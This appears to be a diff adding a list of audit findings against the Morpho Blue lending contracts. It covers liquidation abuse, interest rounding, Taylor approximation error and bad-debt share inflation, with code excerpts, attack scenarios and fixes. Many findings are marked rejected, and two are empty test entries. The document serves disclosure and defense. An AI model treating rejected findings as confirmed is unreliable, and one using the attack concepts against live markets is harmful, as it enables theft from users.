+ amountCollateral = bound(amountBorrowed, 0, Math.min(maxCollateral, MAX_COLLATERAL_ASSETS));
+
+ vm.assume(amountCollateral > 0);
+ return (amountCollateral, amountBorrowed, priceCollateral);
+ }
+```
+
+We see that _amountBorrowed divides by LLTV without multiplying by 1e18.
+
+So imagine the following parameters:
+
+So if this is called borrowing 1 WETH (i.e.: 1e18 token) with a price of 1 (denominated as 1e36) and an LLTV of 0.5 (denominated as 0.5e18), then this function returns a collateral amount of 2 wei.
+
+And then testBorrowUnhealthyPosition correctly checks that, if someone tries to borrow 1 WETH with a collateral of 2 wei, then it should revert. Unfortunately, it fails to check that if someone tries to borrow 1 WETH with a collateral of 3 wei, it should also revert -- and it would not.
+
+**Recommendation**:
+
+Fix the calculation
+
+
+
+### Post call LTV Check Omission Enables Unbounded Liquidation Attacks
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The liquidate function does not check the LTV after liquidation and the potential for exponential borrow share reduction is a critical vulnerability. Here's a breakdown of the problem and potential solutions:
+
+**The Problem**:
+
+The current implementation of the liquidate function only checks the LTV before liquidation. This means that a malicious attacker could exploit the non-linearity of repaidShares due to the "+1" and "+10^6" addition during asset-to-shares conversion and vice-versa to repeatedly liquidate the same position with small seizedAssets and repaidShares.
+
+This would lead to an exponential reduction in the borrower's borrowShares due to the compounding effect of the non-linear conversion at each iteration. Even if the individual liquidations appear minor, the cumulative effect could completely liquidate the borrower's position unintentionally.
+
+**Attack Concept**:
+
+- Identify a target position: Choose a user with a borrow position large enough to withstand several rounds of liquidation but with an LTV in the liquidation threshold.
+- Calculate liquidation amounts: Determine the minimum seizedAssets and repaidShares required for 10 liquidation iteration using the conversion formulas and taking advantage of the "+1" addition to reducing borrowShares more effectively.
+- Initiate repeated liquidations: Execute the liquidate function multiple times, feeding in the calculated seizedAssets and repaidShares for each iteration.
+- Monitor borrow share reduction: Observe how the totalborrowShares decrease but still higher than a linear reduction with each liquidation, even though the individual reductions may seem small.
+- Repeat until complete liquidation: Continue the liquidation process until the user's borrowShares are almost depleted or healthy. This effectively wipes out their position, leaving a higher borrow share than normal. This "delay" in reaching a healthy LTV can significantly impact the user's ability to manage their position.
+
+**Impact**:
+
+This vulnerability can have significant negative consequences for both users and the protocol:
+
+- Unfair Liquidation: Users could lose their entire position due to repeated liquidations even if their LTV remains healthy after the first liquidation. This could lead to significant financial losses and a loss of trust in the protocol.
+Market Disruption: Repeated liquidations can destabilize the market by impacting asset prices and liquidity.
+Exploit Potential: Attackers could use this vulnerability to manipulate market conditions and exploit other vulnerabilities for further gain.
+
+**Recommendation**:
+There are several ways to mitigate this vulnerability and ensure that liquidations are fair and efficient:
+
+- Post-Liquidation LTV Check: Implement a check within the liquidate function after updating the user's position and market state. This check would verify that the resulting LTV is above a predefined minimum threshold. If not, the liquidation would be reverted, and the user would be protected from excessive liquidation.
+- Maximum Liquidation Ratio: Introduce a maximum liquidation ratio per call to limit the amount of seizedAssets and repaidShares allowed in each liquidation. This would prevent attackers from exploiting the non-linearity of repaidShares by forcing them to spread their attacks over multiple calls with diminishing returns.
+- Liquidation Cap: Set a maximum liquidation limit per user based on their total borrow amount and LTV. This would cap the potential damage from repeated liquidations and prevent attackers from completely wiping out a user's position.
+- Improved Conversion Logic: Explore alternative conversion methods for repaidShares that are more linear and less susceptible to manipulation by repeated liquidations. This could involve using fixed-point libraries with higher precision or implementing custom rounding algorithms.
+
+
+
+### test-12345
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+test-2
+
+
+
+### When borrow rates are small, interest can be approximated to zero when updated frequently
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Summary
+Each time a function is affecting borrowing positions or liquidity is called, the protocol accrues interest.
+This is useful to ensure that positions which are made liquidatable due to the accrual are liquidated as quickly as possible in order to avoid bad debt.
+However due to the frequent accrual, the interest increments are small and in some cases, for example when token has low decimals (such as USDC, USDT with 6 decimals), can be rounded to zero.
+
+- Vulnerability Detail
+Let's examine the logic behind the interest accrual:
+
+```solidity
+/// @dev Accrues interest for the given market `marketParams`.
+/// @dev Assumes that the inputs `marketParams` and `id` match.
+function _accrueInterest(MarketParams memory marketParams, Id id) internal {
+ uint256 elapsed = block.timestamp - market[id].lastUpdate;
+
+ if (elapsed == 0) return;
+
+ uint256 borrowRate = IIrm(marketParams.irm).borrowRate(marketParams, market[id]);
+>>> uint256 interest = market[id].totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed));
+>>> market[id].totalBorrowAssets += interest.toUint128();
+ market[id].totalSupplyAssets += interest.toUint128();
+
+ uint256 feeShares;
+ if (market[id].fee != 0) {
+ uint256 feeAmount = interest.wMulDown(market[id].fee);
+ // The fee amount is subtracted from the total supply in this calculation to compensate for the fact
+ // that total supply is already increased by the full interest (including the fee amount).
+ feeShares = feeAmount.toSharesDown(market[id].totalSupplyAssets - feeAmount, market[id].totalSupplyShares);
+ position[id][feeRecipient].supplyShares += feeShares;
+ market[id].totalSupplyShares += feeShares.toUint128();
+ }
+
+ emit EventsLib.AccrueInterest(id, borrowRate, interest, feeShares);
+
+ // Safe "unchecked" cast.
+>>> market[id].lastUpdate = uint128(block.timestamp);
+}
+```
+
+We can see that:
+
+1/ interest is rounded down: `market[id].totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed));`
+
+2/ `market[id].lastUpdate` is updated even if interest is evaluated to zero
+
+
+- Scenario
+
+Let's examine a concrete example:
+
+market params:
+
+> borrow asset: WBTC (with 8 decimals)
+
+> borrowRate = INITIAL_RATE = (0.01 ether / 365 days) = 317097919
+
+> elapsed = 12 sec (1 block)
+
+> wTaylorCompounded(borrowRate, elapsed) = 3805175035
+
+and since 1e18/3805175035 = 262800000 = 2.628 * 1e8
+This means that all of interest will be rounded down to zero at this borrow rate if `totalBorrowAssets < 2.62 WBTC`
+
+This means that lenders are certain to lose all interest when total borrowed is below this threshold
+
+- Impact
+Lenders lose due interest due to loss of precision, on low decimals tokens, due to the high frequency of accrual.
+
+- Code Snippet
+
+- Tool used
+
+Manual Review
+
+- Recommendation
+It is not a trivial problem to solve, but two directions can be considered:
+
+- Virtually increase precision during an accrual
+- Do not update market[id].lastUpdate if accrued interest is zero, in which case a better precision will be used due to less frequent updating
+
+
+
+### When borrow rates are large, taylor approximation incurs a large error _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Summary
+When borrow rates are large, the assumption that X is small used to justify a taylor series approximation does not hold
+
+- Vulnerability Detail
+A taylor series approximation is used to compute the exp value to use for interest rate:
+
+```solidity
+function wTaylorCompounded(uint256 x, uint256 n) internal pure returns (uint256) {
+ uint256 firstTerm = x * n;
+ uint256 secondTerm = mulDivDown(firstTerm, firstTerm, 2 * WAD);
+ uint256 thirdTerm = mulDivDown(secondTerm, firstTerm, 3 * WAD);
+
+ return firstTerm + secondTerm + thirdTerm;
+}
+```
+
+When the borrowRate returned by the IRM is large, such as the maximum value enabled by AdaptiveCurveIrm for example:
+
+`int256 internal constant MAX_RATE_AT_TARGET = int256(0.01e9 ether) / 365 days;`
+
+We can compute a lower bound on the error incurred by the taylor series approximation as the next term of it:
+
+`x^4/4! = (4.2e14 * (elapsed^4))`
+
+when elapsed = 12 sec which is block time, this means an error of at least 50% compared to the due interest
+
+- Impact
+When borrow rates are large, the approximation used severely underestimates the interest due to the lenders
+
+- Code Snippet
+
+- Tool used
+
+Manual Review
+
+- Recommendation
+Fallback to a more precise formula for high enough borrow rates
+
+
+
+### [H] Liquidator can steal a proportional amount of collateral with minimum repayment _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/Morpho.sol#L369
+
+https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/Morpho.sol#L344
+
+https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/Morpho.sol#L407
+
+It is possible for a liquidator to liquidate a borrower's position without repaying the full amount of
+the loan.
+
+The vulnerability arises from how the liquidate function handles repaidShares, seizedAssets, and the borrower's collateral.
+The function does not mandate full debt repayment for collateral seizure, nor does it enforce proportional collateral distribution based on the debt repaid.
+
+Proof of concept:
+
+Alice (Borrower) has taken a loan from Morpho, secured with collateral.
+Bob (Lender) is the provider of the loan.
+
+Charlie's (Liquidator) Actions:
+
+Charlie observes that Alice's LLTV ratio is close to the threshold that makes her position eligible for liquidation.
+Charlie calls the liquidate function, opting to partially repay Alice's debt, placing her position into a healthy one.
+
+This is feasible due to the function's design, allowing partial debt repayment in exchange for collateral.
+As a result, Charlie seizes more collateral than the repaid debt's worth when this is called:
+
+```IERC20(marketParams.collateralToken).safeTransfer(msg.sender, seizedAssets);```
+
+
+Morpho's liquidate function calculates the amount of collateral Charlie can seize based on the repaid debt
+and the LIF. Notably, the LIF can be as high as 15%, as per Morpho's design,
+which can inflate the value of the seized collateral beyond the proportionate amount of the repaid debt.
+
+Bob's (Lender) Reaction:
+
+Bob, noticing Alice has fallen into an unhealthy position shortly afterwards, decides to liquidate the rest of her debt.
+Bob calls the liquidate function, expecting to recover the full amount owed. However, due to Charlie's earlier action,
+a significant portion of Alice's collateral has already been seized.
+
+
+Alice's loan is partially repaid, but a large portion of her collateral is now with Charlie.
+Bob, despite liquidating Alice's remaining debt, receives less repayment than the actual total debt amount.
+The lender (Bob) ends up with a financial loss, as the collateral meant to secure the loan has
+been disproportionately distributed.
+
+**Recommendation**:
+Mitigation:
+
+Ensure that the amount of collateral seized is strictly proportional to the amount of debt repaid.
+This can be achieved by recalibrating the calculations within the liquidate function to align the collateral seizure strictly with the repaid debt value,
+without the disproportionate influence of the LIF.
+
+
+
+### Successive bad debt socialization can lead to inflation of shares and locking funds for a market
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Summary
+Morpho blue has a mechanism to socialize bad debt among all suppliers of liquidity. Unfortunately, the socialization of the bad debt results in an inflation of supply shares. This means that over time, with multiple such events, the number of shares will be close to type(uint128).max, risking the locking of funds in the market.
+
+- Vulnerability Detail
+We can see here the mechanism for the socialization of bad debt during liquidation:
+
+```solidity
+uint256 badDebtShares;
+if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+}
+```
+
+We can see that `totalSupplyShares` remains unchanged, while `totalSupplyAssets` is decreased. This means that a new supplier will have his shares minted at the new inflated `totalSupplyShares/totalSupplyAssets` ratio.
+
+We can see that in the occurence of multiple bad debt events, the totalSupplyShares can grow to reach values close to 2**128, which will cause an overflow when attempting to call `_accrueInterest`, since it creates supply shares for the fee recipient:
+
+```solidity
+uint256 feeShares;
+if (market[id].fee != 0) {
+ uint256 feeAmount = interest.wMulDown(market[id].fee);
+ // The fee amount is subtracted from the total supply in this calculation to compensate for the fact
+ // that total supply is already increased by the full interest (including the fee amount).
+ feeShares = feeAmount.toSharesDown(market[id].totalSupplyAssets - feeAmount, market[id].totalSupplyShares);
+ position[id][feeRecipient].supplyShares += feeShares;
+ market[id].totalSupplyShares += feeShares.toUint128();
+}
+```
+
+Initially for a market funded with 1M of tokens with 18 decimals, this value is ~1e24, which is approx ~2**60.
+This means that with 68 bad debt events, inflating the ratio totalSupplyShares/totalSupplyAssets by 2, the market becomes at risk of locking all of the users assets.
+
+- Impact
+All of the assets used in the market become locked, because `_accrueInterest` always reverts.
+Note that it would not be possible to reset the fee to zero, since `setFee` itself calls on `_accrueInterest`
+
+- Code Snippet
+
+- Tool used
+
+Manual Review
+
+- Recommendation
+The fix is not trivial, maybe consider an emergency rebase functionality to handle this case
+
+
+
+## Medium risk
+### Unchecked owner assignment can result in permanent DoS of critical functionality of the Morpho contract & protocol. _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+MEDIUM: Morpho::setOwner() - L98: Unchecked owner assignment can result in permanent DoS of critical functionality of the Morpho contract & protocol.
+
+Can currently set `owner` to `address(0)` accidentally or intentionally:
+```solidity
+ function setOwner(address newOwner) external onlyOwner {
+ require(newOwner != owner, ErrorsLib.ALREADY_SET);
+
+ owner = newOwner;
+
+ emit EventsLib.SetOwner(newOwner);
+ }
+```
+
+PoC:
+
+If `owner` is ever set to `address(0)` either accidentally or intentionally then the below `onlyOwner()` modifier will always revert as it's never possible for `msg.sender` to be `address(0)`. I.e. `address(0)` cannot call anything.
+Therefore the requirement for `msg.sender == owner` always fails, as this can never be true: `msg.sender == address(0)`.
+```solidity
+ /// @dev Reverts if the caller is not the owner.
+ modifier onlyOwner() {
+ require(msg.sender == owner, ErrorsLib.NOT_OWNER);
+ _;
+ }
+```
+
+IMPACT:
+
+(Note: it doesn't matter if the owner is a trusted role, IF that's the case. The bottom line is that IF it's possible to permanently DoS all owner related functionality including any critical functionality that depends on the owner, then this risk for DoS however remote it may be, essentially NEEDS to be neutralized, as there really does not exist any valid counter-argument. I would argue that neither trust factor nor gas savings factor should have any influence in the decision to fully eliminate this risk.)
+
+If we trust the owner, then accidents/mistakes can and do happen, so impact would be HIGH but likelihood is LOW, therefore MEDIUM severity.
+If we cannot trust the owner, then intentional/malicious actions could happen, and in this case the severity would be HIGH.
+
+Overall, I would rate this finding as MEDIUM severity, as from initial checks it doesn't seem as if users of the market(s) would be majorly affected unless the market wasnt created yet, including some of the other impacts mentioned above, otherwise no major impact on users, it would seem.
+Good thing governance/admin/owner roles are intentionally limited as per protocol design.
+
+The affected functions below use the `onlyOwner` modifier:
+- `setOwner()`: won't be able to change the owner address again. permanent DoS.
+- `enableIrm()`: IF IRM wasn't set yet when owner was accidentally/intentionally set to `address(0)`, wont be able to set it, which will permanently DoS the `createMarket()` function, so no markets can ever be created
+- `enableLltv()`: similar consequences to above IRM under same conditions.
+- `setFee`: wont be able to set initial/new fee for market
+- `setFeeRecipient`: wont be able to set initial/new fee recipient
+
+The two main impacts from above:
+- owner functionality of Morpho contract permanently DoS'ed, including all functions that depend on `onlyOwner` modifier
+- IF market not created yet by the time this happens, market creation permanently DoS'ed.
+
+RECOMMENDATION:
+
+```diff
+ function setOwner(address newOwner) external onlyOwner {
+ require(newOwner != owner, ErrorsLib.ALREADY_SET);
++ require(newOwner != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ owner = newOwner;
+
+ emit EventsLib.SetOwner(newOwner);
+ }
+```
+
+
+
+
+### Risk of possible replay attacks between chains in the event of a future chain split _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Proof of Concept
+When `Morpho` contract is constructed, then `DOMAIN_SEPARATOR` [is calculated and stored](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L78). `block.chainid` at the moment of deploying is included into `DOMAIN_SEPARATOR`.
+
+This param is used inside `setAuthorizationWithSig` function, which allows to set authorized address using signature. Stored `DOMAIN_SEPARATOR` is used [to check validity of provided signature](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L440C65-L440C81).
+
+In case if chain will split into 2 chains then we have the possibility of signatures replay.
+There will be such problems:
+- `Morpho` contract on first fork chain that uses same `block.chainid` will continue working and users will continue issue signatures.
+- on second fork chain with changed `block.chainid` it will be possible to reuse signatures that were signed for another chain.
+- `Morpho` contract on second fork chain will stop working with signatures in case if users will sign with updated `block.chainid` as `DOMAIN_SEPARATOR` uses outdated `block.chainid`
+- Impact
+Possible replay attacks between chains in the event of a future chain split
+
+- Recommended Mitigation Steps
+Calculate `DOMAIN_SEPARATOR` for each call that uses it. So then you always use up to date `block.chainid`.
+
+
+
+### Morpho is not compatible with fee on transfer tokens _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Proof of Concept
+Morpho market [can be created by anyone](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L150), which means that user can provide any tokens as `loan` and `collateral` token.
+
+In case if fee on transfer token will be used inside Morpho market, then accounting will be corrupted. This is because protocol doesn't check balance before and after in order to calculate amount that was received by contract.
+
+For example, inside `supply` function, `totalSupplyAssets` [is increased with `assets` amount](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L185). But in case if fee on transfer token is used as `loan` token, then smaller amount than `assets` [will be received after transfer](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L191). As result contract will face solvency issues.
+- Impact
+Morpho is not compatible with fee on transfer tokens
+- Recommended Mitigation Steps
+You need to calculate amount of assets that were received by contract after transfers.
+
+
+
+### Morpho is not compatible with rebasing tokens _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Proof of Concept
+Morpho market [can be created by anyone](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L150), which means that user can provide any tokens as `loan` and `collateral` token.
+
+In case if rebasing token will be used inside Morpho market, then accounting will be corrupted. This is because protocol rebasing tokens change their balance over time, so in t0 contract can hodl X rebasing tokens and in t1 it can already hold X+Y, even though no interactions were with the contract and no interests were accrued.
+
+In case of such tokens usage, accounting will be broken and it will not possible to correctly calculate share prices.
+- Impact
+Morpho is not compatible with rebasing tokens
+- Recommended Mitigation Steps
+Such tokens can't be supported, make sure users know that. Or better whitelist allowed tokens that can be used as loan and collateral tokens for new markets.
+
+
+
+### Morpho allows to open positions that are likely to be liquidatable soon _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Proof of Concept
+When someone calls `borrow`, then he can provide any `assets` amount that he would like to borrow. In the end function will check [that position is healthy](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L255), which means that user has enough collateral amount to cover borrowed amount.
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L513-L525
+```solidity
+ function _isHealthy(MarketParams memory marketParams, Id id, address borrower, uint256 collateralPrice)
+ internal
+ view
+ returns (bool)
+ {
+ uint256 borrowed = uint256(position[id][borrower].borrowShares).toAssetsUp(
+ market[id].totalBorrowAssets, market[id].totalBorrowShares
+ );
+ uint256 maxBorrow = uint256(position[id][borrower].collateral).mulDivDown(collateralPrice, ORACLE_PRICE_SCALE)
+ .wMulDown(marketParams.lltv);
+
+
+ return maxBorrow >= borrowed;
+ }
+```
+
+So to check if user has enough collateral it's converted to `loan` token and `lltv` factor is applied, which takes some amount of collateral as a buffer, so you can't borrow for all amount.
+
+The problem here is that [same `lltv` factor is used to check if position is liquidatable](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L359). Usually, protocols use 2 different factors: one is to check health after borrowing and collateral removing(that factor is likely smaller) and another is to check if position is liquidatable(this one is higher usually). This is needed, so user can't open position that will become liquidatable after a moment, because of a small price movement. So the buffer between LTV and LLTV can be used by price movements and also it gives user time to react on position changes, so he can add more collateral to not be liquidated.
+
+But in this implementation it's really likely that user can open position, then price will change a little and someone will liquidate that user, so he lost part of collateral and even couldn't react to that.
+- Impact
+User can be liquidated just after he open position.
+- Recommended Mitigation Steps
+You need to have another param as `LTV`, which will be smaller than `LLTV`. For example `LTV = 80` and `LLTV = 90`. When user opens position and removes collateral, then you need to use `LTV` to check if position is healthy. In case if someone wants to do liquidation then you need to check position using `LLTV`.
+
+
+
+### User can make small repayment to make full liquidation revert _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Proof of Concept
+When liquidator wants to liquidate position, then [he can provide `repaidShares` param](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L348). In case if he wants to repay all position's shares, then `repaidShares` will be equal to `position[id][borrower].borrowShares`.
+
+In this case [position will be reduced with `repaidShares`](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L380).
+
+Borrower that wants to avoid liquidation can repay little part of his debt, just to make `position[id][borrower].borrowShares` to be little bit smaller and make `liquidate` function revert with underflow error. This can give borrower additional time.
+- Impact
+Borrower can make liquidation to fail in case of full liquidation.
+- Recommended Mitigation Steps
+Adjust `repaidShares` param to be `<= position[id][borrower].borrowShares`.
+
+
+
+### Incentive factor doesn't incentivize risky liquidatioans which create risk of bad debt _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Proof of Concept
+When position is going to be liquidated, then `liquidationIncentiveFactor` is calculated. The bigger this factor then more profit liquidator receives. This is how `liquidationIncentiveFactor` is calculated.
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L363-L367
+```solidity
+ // The liquidation incentive factor is min(maxLiquidationIncentiveFactor, 1/(1 - cursor*(1 - lltv))).
+ uint256 liquidationIncentiveFactor = UtilsLib.min(
+ MAX_LIQUIDATION_INCENTIVE_FACTOR,
+ WAD.wDivDown(WAD - LIQUIDATION_CURSOR.wMulDown(WAD - marketParams.lltv))
+ );
+```
+
+So the logic is next. Maximum that liquidator can get is `MAX_LIQUIDATION_INCENTIVE_FACTOR` which is additional 15% at the moment.
+What is want to investigate is this formula:
+`WAD.wDivDown(WAD - LIQUIDATION_CURSOR.wMulDown(WAD - marketParams.lltv))`. Let's give it a name like `result`.
+
+Here, we are trying to calculate incentive that depends on market's LLTV and `LIQUIDATION_CURSOR` which is 30%.
+Let's do some calculations:
+- when `marketParams.lltv = 75%`, then `result = 1 / (1 - 0.075) = 1.081`
+- when `marketParams.lltv = 85%`, then `result = 1 / (1 - 0.045) = 1.047`
+- when `marketParams.lltv = 90%`, then `result = 1 / (1 - 0.03) = 1.031`
+- when `marketParams.lltv = 95%`, then `result = 1 / (1 - 0.015) = 1.015`
+- when `marketParams.lltv = 98%`, then `result = 1 / (1 - 0.006) = 1.006`
+
+As you can see, the bigger LLTV is then the smaller incentive liquidator receives.
+Why this is incorrect? Because if market has bigger LLTV that means that it's allowed for user to borrow on bigger collateral amount, which means that collateral buffer that should take negative price movements is smaller and can be used quicker, which will create a bad debt for the market.
+
+For this reason, it liquidation factor should move in another way. In case if LLTV is smaller, then the smaller incentive should go to the liquidators, because the risk that position will face bad debt is smaller as well. And when LLTV is bigger, then chances that price movements in future will make this position occur bad debt are increasing, that's why incentive for such markets should be bigger. So all liquidators will do liqudiation as soon as possible to earn profit, which will make market don't get a bad debt.
+- Impact
+Incentive factor for liquidators make markets with bigger LLTV less attractive.
+- Recommended Mitigation Steps
+I guess that liquidator incentive should grow with LLTV.
+
+
+
+### Suppliers can withdraw and supply again in order to avoid bad debt distribution after liquidation _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Proof of Concept
+When liquidation occurs, then it's possible that position has smaller amount of collateral than the debt it has.
+In such case bad debt occurs in the system. Morpho protocol foreseen such situation, so they handle it.
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L387-L398
+```solidity
+ if (position[id][borrower].collateral == 0) {
+ badDebtShares = position[id][borrower].borrowShares;
+ uint256 badDebt = UtilsLib.min(
+ market[id].totalBorrowAssets,
+ badDebtShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares)
+ );
+
+
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+ position[id][borrower].borrowShares = 0;
+ }
+```
+
+So in this case `badDebtShares` are converted to the loan amount and then total debt is decreased, total supply is decreased and total debt shares is decreased.
+
+If you look into this handling then you will see that the debt is actually distributed among suppliers and not borrowers. As `totalSupplyAssets` for market is decreased, then exchange rate of supply share has decreased as well, which means that suppliers can now get smaller amount of funds back.
+
+However, supplier has ability to avoid that lose. In case if supplier has a lot of funds in the market, that means that he will cover bigger part of the bad debt. So it can be more profitable for such supplier to withdraw all shares, before liqudation of position that will lead to big bad debt distribution. And after liqudiation is done, then supplier can deposit again.
+- Impact
+Supplier can avoid bad debt distribution, which means that his part of bad debt will be distributed among other suppliers.
+- Recommended Mitigation Steps
+Maybe it's better to distribute bad debt among borrowers. As they don't have the ability to avoid it, so distribution should be fair.
+
+
+
+### Taylor approximation is exponentially unreliable with higher interest _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+The Morpho contract implements continuous compounding through the `MathLib.wTaylorCompounded` function with a third-order Taylor polynomial to approximate the `e(nx) - 1` continuous function that is otherwise difficult to calculate.
+
+This function is used to convert nominal un-compounded interest (interest per second coming from the IRM multiplied by the number of seconds to accrue) into compounded interest.
+
+The proposed implementation constitutes a problem because, by definition, [the Taylor polynomial is reliable only in the close neighborhood of the starting point where the polynomial is calculated](https://en.wikipedia.org/wiki/Taylor%27s_theorem), and in Morpho's implementation, this starting point is zero (no nominal interest).
+
+The higher the nominal interest, the more unreliable the `MathLib.wTaylorCompounded` output is. For example, at $10^{18}$ (100% interest before compounding), the error is around 3%; at $2*10^{18}$ (200%) it's at 20%, and so forth rising exponentially.
+
+The below graph shows the relative error by plotting the ratio between the ideal value and the third-degree Taylor approximation:
+
+$$f(x) = \frac{e^x-1}{x+\frac{x^2}{2}+\frac{x^3}{6}} - 1$$
+
+![Relative error](https://user-images.githubusercontent.com/145972240/283745070-0ad00768-5482-4071-a1a9-bd9bda3f012a.png)
+
+The contract also enforces no practical limit to the uncompounded interest because:
+- the APY is sourced from a plug-in contract that may return a high APY to start with
+- there is no on-chain guarantee of any minimal cadence for the `accrue` function to be called, so this APY may end up being multiplied by an arbitrarily high amount of time
+
+**Recommendation**:
+It is recommended to mitigate the issue on two fronts:
+- adding a fourth order to the Taylor approximation would come at a very little gas cost and somewhat curb the problem
+- decide for a maximum acceptable error, and allow the Taylor function to operate only up to that point. Values larger than that can either:
+ - be treated by iteratively compounding shorter periods, or
+ - be calculated with a non-zero polynomial base point by including some pre-computed tables with values of $e^x$ i.e. with `0.5e18` granularity.
+
+
+
+### Lack of gap between the debt-to-collateral ratio at borrow and liquidation can cause users to be immediately liquidated _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+The Morpho lending logic uses the very same `_isHealthy` check to verify if a user can borrow, and if their position can be liquidated.
+
+This means that users are allowed to open positions that can be liquidated as soon as within the same block, assuming there is a slight oracle update on the way too.
+
+While such border-line requests are certainly reckless from the users' point of view, they constitute a problem for the protocol too, because liquidations come at a cost not only for the borrowers, but for the lending protocol too in case bad debt is written off.
+
+**Recommendation**:
+Consider introducing and applying different debt-to-collateral ratios for new borrows and liquidations.
+
+This can be considered common practice, as popular protocols like Compound and Aave (as well as their forks) all offer gapped thresholds.
+
+
+
+### Liquidations can be induced to failure by front-running with negligible repayments or liquidations _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+The `Morpho.liquidate` function allows for partial repayments, and for this reason, it accepts the `seizedAssets` and `repaidShares` arguments.
+
+No matter which of the two the user provides, they are taken as "exact" amounts, and if the liquidated user does not have at least this quantity of debt, the liquidation will fail for underflow:
+
+```Solidity
+ position[id][borrower].borrowShares -= repaidShares.toUint128();
+ // ...
+ position[id][borrower].collateral -= seizedAssets.toUint128();
+```
+
+Since liquidation comes at a cost for the borrower, they could be watching the mempool and front-run any liquidation call with minimal repayments, just enough to make the liquidation fail.
+
+**Recommendation**:
+Consider letting users provide "maxSeizedAssets" and "maxRepaidShares" instead.
+
+
+
+### The owner might call Morph.setOwner() to set the new owner to an invalid address by accident. _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+The owner might call Morph.setOwner() to set the new owner to an invalid address by accident.
+As a result, the ownership of the contract is lost, and any owner-privileged functions, such as enableIrm(), become inaccessible.
+
+
+**Recommendation**:
+Use OpenZeppelin's Ownable2Step:
+
+[https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable2Step.sol](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable2Step.sol)
+
+
+
+
+### Testing submission
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+**Recommendation**:
+
+
+
+### Repaying is susceptible to mev manipulation because it does not check if the account is unhealthy after repayment is completed _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Medium Severity
+
+- Title
+Repaying is susceptible to transaction order manipulation because it does not check if the account is unhealthy after the repayment is completed.
+
